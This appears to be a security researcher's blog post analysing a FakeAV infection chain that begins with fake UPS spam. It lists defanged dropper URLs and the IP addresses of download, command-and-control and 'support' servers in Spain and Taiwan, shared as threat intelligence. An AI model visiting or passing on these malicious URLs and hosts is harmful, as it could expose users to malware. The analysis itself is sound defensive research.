How, from where, by which IP you got infected w/FakeAV: System Progressive Protection; UPS Fake Spam, Spain's Front End Infector+Support Page, and Taiwan's CnC server

Today I was receiving report of another UPS spam (again, thank's to officer Pryor). Which lead users to download the FakeAV System Progressive Protection. This investigation is exposing all aspect of infection, from which spam, what downloaded trojan downloader used, which CnC used for communication and down to the support page.

Infection Summary

1. Drive by spam 2. w/html URL to h00p://proyectosnavarra.es/CMUNFWKUWY.html ←Troj/Downloader's dropper 3. Trojan Download FakeAV installer from IPs`: 217.76.130.213 (Spain), 59.126.131.132 (Taiwan), 61.222.241.208 (Taiwan) & 217.76.130.3 (Spain) 4. Send data to these IP: 59.126.131.132, 61.222.241.208 (Taiwan) 5. Support Center is in this IP: 178.32.29.188 (Spain)

All of the data written is as per it is, for the law evidence & research purpose I also share the samples and captures. I am so sorry for taking so long analyzing this, since I have only one windows machine to perform all of this analysis.

Here we go..

Following another reported UPS email like below...

Which lead us to the link:
h00p://proyectosnavarra・es/CMUNFWKUWY.html
One thing I LOVE of spam infection is we can fetch it well...

IP Infector's History Analysis

As we see, the A record leads us to IP 217.76.130.213, 217.76.130.3 I think I saw the 217.76.130.213 before... seeking the notes & found below previous infections in that IP:
//infector records, source: SPAM
h00p://cimatfoto.com/
h00p://grupoestudio.com/default.html
//trojan dropped records, source also SPAM

Leads us to download Inicio.html & lead us to spanish photography online store/site, a spam site it is (darn!) But the other history of the downloaded trojans shows us this is not a good site/IP. We know it is an unhealthy redirector scheme and God knows what other evil landing page w/redir schemes exists in this IP..
